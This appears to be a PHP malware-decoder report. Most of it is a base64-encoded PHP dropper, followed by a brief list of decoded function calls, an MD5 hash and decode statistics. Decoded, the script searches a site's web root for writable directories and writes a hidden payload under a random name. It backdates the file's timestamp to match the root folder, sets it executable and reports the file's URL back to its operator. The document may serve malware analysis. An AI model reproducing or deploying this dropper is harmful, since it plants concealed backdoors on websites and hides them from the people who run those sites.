aWxlX3B1dF9jb250ZW50cygkZmlsZW5hbWUsICRkYXRhKSB7CiAgICAgICAgJGYgPSBAZm9wZW4oJGZpbGVuYW1lLCAndycpOwogICAgICAgIGlmICghJGYpIHsKICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRieXRlcyA9IGZ3cml0ZSgkZiwgJGRhdGEpOwogICAgICAgICAgICBmY2xvc2UoJGYpOwogICAgICAgICAgICByZXR1cm4gJGJ5dGVzOwogICAgICAgIH0KICAgIH0KfQoKZnVuY3Rpb24gR2V0UGF0aERpZmYoJGJhc2VfcGF0aCwgJGZ1bGxfcGF0aCkKewogICAgJHBvcyA9IHN0cnBvcygkZnVsbF9wYXRoLCAkYmFzZV9wYXRoKTsKCiAgICBpZiAoJHBvcyA9PT0gRkFMU0UpCiAgICB7CiAgICAgICAgcmV0dXJuIEZBTFNFOwogICAgfQoKICAgIHJldHVybiBzdWJzdHIoJGZ1bGxfcGF0aCwgJHBvcyArIHN0cmxlbigkYmFzZV9wYXRoKSk7Cn0KCmZ1bmN0aW9uIEdldFdyaXRhYmxlRGlycygpCnsKICAgICRyZXMgPSBBcnJheSgpOwoKICAgICRhbmFseXN5c19xdWV1ZSA9IEFycmF5KCk7CgogICAgJGFuYWx5c3lzX3F1ZXVlW10gPSBHZXREb2NSb290KCk7CgogICAgJHNlbGZfcGF0aCA9ICRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXTsKICAgIHdoaWxlICgoJHNsYXNoID0gc3RycnBvcygkc2VsZl9wYXRoLCBESVJFQ1RPUllfU0VQQVJBVE9SKSkgIT09IEZBTFNFKQogICAgewogICAgICAgICRzZWxmX3BhdGggPSBzdWJzdHIoJHNlbGZfcGF0aCwgMCwgJHNsYXNoKTsKCiAgICAgICAgaWYgKCRzZWxmX3BhdGggPT0gR2V0RG9jUm9vdCgpKQogICAgICAgIHsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfQoKICAgICAgICBpZiAoc3RybGVuKCRzZWxmX3BhdGgpKQogICAgICAgIHsKICAgICAgICAgICAgJGFuYWx5c3lzX3F1ZXVlW10gPSAkc2VsZl9wYXRoOwogICAgICAgIH0KICAgIH0KCiAgICBmb3JlYWNoICgkYW5hbHlzeXNfcXVldWUgYXMgJGN1cnJlbnRfZGlyKQogICAgewogICAgICAgIGlmICghaW5fYXJyYXkoJGN1cnJlbnRfZGlyLCAkcmVzKSkKICAgICAgICB7CiAgICAgICAgICAgICRyZXMgPSBhcnJheV9tZXJnZSgkcmVzLCBHZXREaXJlY3RvcnlMaXN0KCRjdXJyZW50X2RpcikpOwogICAgICAgIH0KICAgIH0KICAgICRyZXMgPSBhcnJheV9tZXJnZSgkYW5hbHlzeXNfcXVldWUsICRyZXMpOwoKICAgIHJldHVybiBDaGVja1dyaXRhYmxlKGFycmF5X3VuaXF1ZSgkcmVzKSk7Cn0KCmZ1bmN0aW9uIENoZWNrV3JpdGFibGUoJGRpcl9saXN0KQp7CiAgICAkZGlyX2xpc3Rfd3JpdGFibGUgPSBBcnJheSgpOwoKICAgIGZvcmVhY2ggKCRkaXJfbGlzdCBhcyAkZGlyKQogICAgewogICAgICAgIGlmIChAaXNfd3JpdGFibGUoJGRpcikgPT0gVFJVRSkKICAgICAgICB7CiAgICAgICAgICAgICRkaXJfbGlzdF93cml0YWJsZVtdID0gJGRpcjsKICAgICAgICB9CiAgICB9CgogICAgcmV0dXJuICRkaXJfbGlzdF93cml0YWJsZTsKfQoKZnVuY3Rpb24gR2V0RGlyZWN0b3J5TGlzdCgkZGlyLCAkZGVwdGg9MTAwMCkKewoKICAgICRyZXN1bHQgPSBhcnJheSgpOwogICAgJGRpcl9jb3VudCA9IDA7CgogICAgaWYgKCRkZXB0aCA9PSAwKQogICAgewogICAgICAgIHJldHVybiAkcmVzdWx0OwogICAgfQoKICAgICRkaXIgPSBzdHJsZW4oJGRpcikgPT0gMSA/ICRkaXIgOiBydHJpbSgkZGlyLCAnXFwvJyk7CiAgICAkaCA9IEBvcGVuZGlyKCRkaXIpOwogICAgaWYgKCRoID09PSBGQUxTRSkKICAgIHsKICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkKICAgIHsKICAgICAgICBpZiAoJGYgIT09ICcuJyBhbmQgJGYgIT09ICcuLicpCiAgICAgICAgewogICAgICAgICAgICAkY3VycmVudF9kaXIgPSAiJGRpci8kZiI7CiAgICAgICAgICAgIGlmIChpc19kaXIoJGN1cnJlbnRfZGlyKSkKICAgICAgICAgICAgewogICAgICAgICAgICAgICAgJGRpcl9jb3VudCArPSAxOwoKICAgICAgICAgICAgICAgIGlmICgkZGlyX2NvdW50ID49ICRkZXB0aCkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAkcmVzdWx0W10gPSAkY3VycmVudF9kaXI7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gYXJyYXlfbWVyZ2UoJHJlc3VsdCwgR2V0RGlyZWN0b3J5TGlzdCgkY3VycmVudF9kaXIsICRkZXB0aCAvIDEwKSk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CgogICAgY2xvc2VkaXIoJGgpOwoKICAgIHJldHVybiAkcmVzdWx0Owp9CgpmdW5jdGlvbiBHZXREb2NSb290KCkKewogICAgJGRvY3Jvb3RfZW5kID0gc3RycnBvcygkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10sICRfU0VSVkVSWydSRVFVRVNUX1VSSSddKTsKICAgIGlmICgkZG9jcm9vdF9lbmQgPT09IEZBTFNFKQogICAgewogICAgICAgIHJldHVybiAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOwogICAgfQogICAgZWxzZWlmICgkZG9jcm9vdF9lbmQgPT09IDApCiAgICB7CiAgICAgICAgcmV0dXJuICIvIjsKICAgIH0KICAgIGVsc2UKICAgIHsKICAgICAgICByZXR1cm4gc3Vic3RyKCRfU0VSVkVSWydTQ1JJUFRfRklMRU5BTUUnXSwgMCwgJGRvY3Jvb3RfZW5kKTsKICAgIH0KfQoKZnVuY3Rpb24gR2V0UGF5bG9hZCgkcGF5bG9hZCkKewogICAgJGN1cnJlbnRfcGF5bG9hZCA9IGJhc2U2NF9kZWNvZGUoJHBheWxvYWQpOwoKICAgIHJldHVybiAkY3VycmVudF9wYXlsb2FkOwp9CgpmdW5jdGlvbiBXcml0ZVBheWxvYWQoJHBhdGgsICRwYXlsb2FkKQp7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCRwYXRoKSkKICAgIHsKICAgICAgICBpZiAoZmlsZV9wdXRfY29udGVudHMoJHBhdGgsIEdldFBheWxvYWQoJHBheWxvYWQpKSAhPSBGQUxTRSkKICAgICAgICB7CiAgICAgICAgICAgIHJldHVybiBUUlVFOwogICAgICAgIH0KCiAgICB9CgogICAgcmV0dXJuIEZBTFNFOwp9CgovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwoKIyBnZXQgYmFzZSBsb2NhbCBhbmQgcmVtb3RlIHBhdGgKJGJhc2Vfd3d3X3BhdGggPSAkaG9zdCA9IEAkX1NFUlZFUlsnSFRUUF9IT1NUJ107CiRiYXNlX2xvY2FsX3BhdGggPSBHZXREb2NSb290KCk7CgppZiAoISgkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBAc3RhdCgkYmFzZV9sb2NhbF9wYXRoLiIvLmh0YWNjZXNzIikpKQp7CiAgICBpZiAoISgkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBAc3RhdCgkYmFzZV9sb2NhbF9wYXRoLiIvaW5kZXgucGhwIikpKQogICAgewogICAgICAgIGlmICghKCRiYXNlX2xvY2FsX3BhdGhfdGltZSA9IEBzdGF0KCRiYXNlX2xvY2FsX3BhdGguIi9pbmRleC5odG1sIikpKQogICAgICAgIHsKICAgICAgICAgICAgaWYgKCEoJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gQHN0YXQoJGJhc2VfbG9jYWxfcGF0aC4iLy4uIikpKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBpZiAoISgkYmFzZV9sb2NhbF9wYXRoX3RpbWUgPSBAc3RhdCgkYmFzZV9sb2NhbF9wYXRoKSkpCiAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgJGJhc2VfbG9jYWxfcGF0aF90aW1lID0gQXJyYXkoKTsKICAgICAgICAgICAgICAgICAgICAkYmFzZV9sb2NhbF9wYXRoX3RpbWVbJ210aW1lJ10gPSB0aW1lKCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0KCiRiYXNlX2xvY2FsX3BhdGhfdGltZSA9ICRiYXNlX2xvY2FsX3BhdGhfdGltZVsnbXRpbWUnXTsKCiRkaXJfbGlzdF93cml0YWJsZSA9IEdldFdyaXRhYmxlRGlycygpOwoKaWYgKGNvdW50KCRkaXJfbGlzdF93cml0YWJsZSkgPT0gMCkKewogICAgZWNobyAiVVJMI1NUQVRVU19VTldSSVRBQkxFIjsKICAgIGV4aXQoKTsKfQoKdXNvcnQoJGRpcl9saXN0X3dyaXRhYmxlLCAnY29tcGFyZXInKTsgIyBzb3J0IGRpcmVjdG9yeSBieSBsZW4KCiRsaXN0X3dyaXRhYmxlID0gQXJyYXkoKTsKJGxpc3Rfd3JpdGFibGVbXSA9ICRkaXJfbGlzdF93cml0YWJsZVswXTsKJGxpc3Rfd3JpdGFibGVbXSA9ICRkaXJfbGlzdF93cml0YWJsZVtyYW5kKDAsc2l6ZW9mKCRkaXJfbGlzdF93cml0YWJsZSkpXTsKJGdvb2QgPSBGQUxTRTsKJGdvb2RfY291bnRlciA9IDA7CiMgdHJ5IHRvIHVwbG9hZAokbWF4X3RyeWVzID0gc3RybGVuKCRwYXlsb2FkX25hbWUpID09IDAgPyA1IDogMTsKZm9yZWFjaCAoJGxpc3Rfd3JpdGFibGUgYXMgJGN1cnJlbnRfZGlyKQp7CiAgICAvLyBpZiBwYXlsb2FkIG5hbWUgaXMgc2V0LCBubyBtb3JlIG9uZSB0cnkgdG8gdXBsb2FkIG9uIGN1cnJlbnQgZGlyCiAgICAvL2ZvciAoJGk9MDsgJGkgPCAkbWF4X3RyeWVzOyAkaSsrKQogICAgewogICAgICAgIGlmIChzdHJsZW4oJHBheWxvYWRfbmFtZSkgPT0gMCkKICAgICAgICB7CiAgICAgICAgICAgICR0ZW1wX3BheWxvYWRfbmFtZSA9IGdlbmVyYXRlUmFuZG9tU3RyaW5nKCk7CiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgICR0ZW1wX3BheWxvYWRfbmFtZSA9ICRwYXlsb2FkX25hbWU7CiAgICAgICAgfQoKICAgICAgICAkZnVsbF9wYXlsb2FkX25hbWUgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHRlbXBfcGF5bG9hZF9uYW1lOwoKICAgICAgICAkdXJpX3BhdGggPSBHZXRQYXRoRGlmZigkYmFzZV9sb2NhbF9wYXRoLCAkZnVsbF9wYXlsb2FkX25hbWUpOwogICAgICAgIGlmIChzdHJwb3MoJHVyaV9wYXRoLCAkdGVtcF9wYXlsb2FkX25hbWUpID09PSBmYWxzZSkKICAgICAgICB7CiAgICAgICAgICAgICR1cmlfcGF0aCA9ICR1cmlfcGF0aCAuICIvIiAgLiAkdGVtcF9wYXlsb2FkX25hbWU7CiAgICAgICAgfQogICAgICAgICRmdWxsX3VyaSA9ICRiYXNlX3d3d19wYXRoIC4gKHN0cnBvcygkdXJpX3BhdGgsICIvIikgPT0gMCA/ICR1cmlfcGF0aCA6ICIvIi4kdXJpX3BhdGgpOwoKICAgICAgICBpZiAoV3JpdGVQYXlsb2FkKCRmdWxsX3BheWxvYWRfbmFtZSwgJHBheWxvYWRfZmlsZSkpCiAgICAgICAgewogICAgICAgICAgICB0b3VjaCgkZnVsbF9wYXlsb2FkX25hbWUsICRiYXNlX2xvY2FsX3BhdGhfdGltZSk7IC8vIHNldCBsYXN0IG1vZGlmaWNhdGlvbiB0aW1lIGFzIHJvb3QgZm9sZGVyCiAgICAgICAgICAgIGNobW9kKCRmdWxsX3BheWxvYWRfbmFtZSwgMDc1NSk7CiAgICAgICAgICAgIGVjaG8gIlVSTCNodHRwOi8vIiAuICRmdWxsX3VyaSAuIFBIUF9FT0w7CiAgICAgICAgICAgICRnb29kPVRSVUU7CiAgICAgICAgICAgICRnb29kX2NvdW50ZXIrKzsKICAgICAgICAgICAgaWYgKCRnb29kX2NvdW50ZXIgPjEpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIC8vdW5saW5rKCJkZmFvbmZwZmt3Zy5waHAiKTsKICAgICAgICAgICAgICAgIGVjaG8gIiNDQ0NVUkwiOwogICAgICAgICAgICAgICAgZXhpdCgpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9CmlmKCEkZ29vZCkKICAgIGVjaG8gIlVSTCNTVEFUVVNfQ0FOVFVQTE9BRCNDQ0NVUkwiOwplY2hvICIjQ0NDVVJMIjsKLy91bmxpbmsoImRmYW9uZnBma3dnLnBocCIpOwpleGl0KCk7IHs='));

Function Calls

base64_decode 1
create_function 1

Variables

None

Stats

MD5 16715decb123580beccca52c48a1dd06
Eval Count 0
Decode Time 497 ms